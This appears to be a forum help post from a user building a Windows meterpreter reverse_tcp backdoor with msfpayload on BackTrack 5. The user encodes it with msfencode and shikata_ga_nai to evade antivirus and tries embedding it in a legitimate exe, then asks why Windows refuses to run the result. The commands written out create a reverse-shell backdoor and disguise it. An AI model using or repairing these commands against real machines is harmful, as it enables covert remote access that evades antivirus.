I'm creating a payload, encoding it, moving to a Windows 7 machine, and Windows will not open the exe I've created.
I started with a simple payload, here is the what I used...
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 x > /root/backdoor.exe
It works. It gets made, sent, and I get a meterpreter connection. My problem with it, however, is that it lights up pretty much every AV it could run into. So I decided to try encoding it to see what happens...
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=4444 R| msfencode -c 5 -e x86/shikata_ga_nai -x > /root/EncodedBackdoor.exe
This works fine up to the point where windows tries to open it. It says that the file isn't compatible with windows and it refuses to use it. I've also tried hiding it in a legit windows exe, but that hasn't worked either. And if I'm doing this part wrong please point that out too...
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=4444 R| msfencode -c 5 -e x86/shikata_ga_nai -x > /root/windows-software.exe -t exe > /root/HiddenBackdoor.exe
The "windows-software.exe" is the legit windows exe. And hiding it within that file did not work either. Same problem with it not opening.
I'm fairly confused about it. I've spent a LOT of time checking out tutorials, reading forums, and watching videos, and everyone seems to follow the same steps, except NONE of them had this problem.
What I'm working with:
My Machine: HP Pavillion DM3Z with BackTrack 5R1
Target: HP Laptop... but it's running Windows 7
PS: Both machines are mine on my network.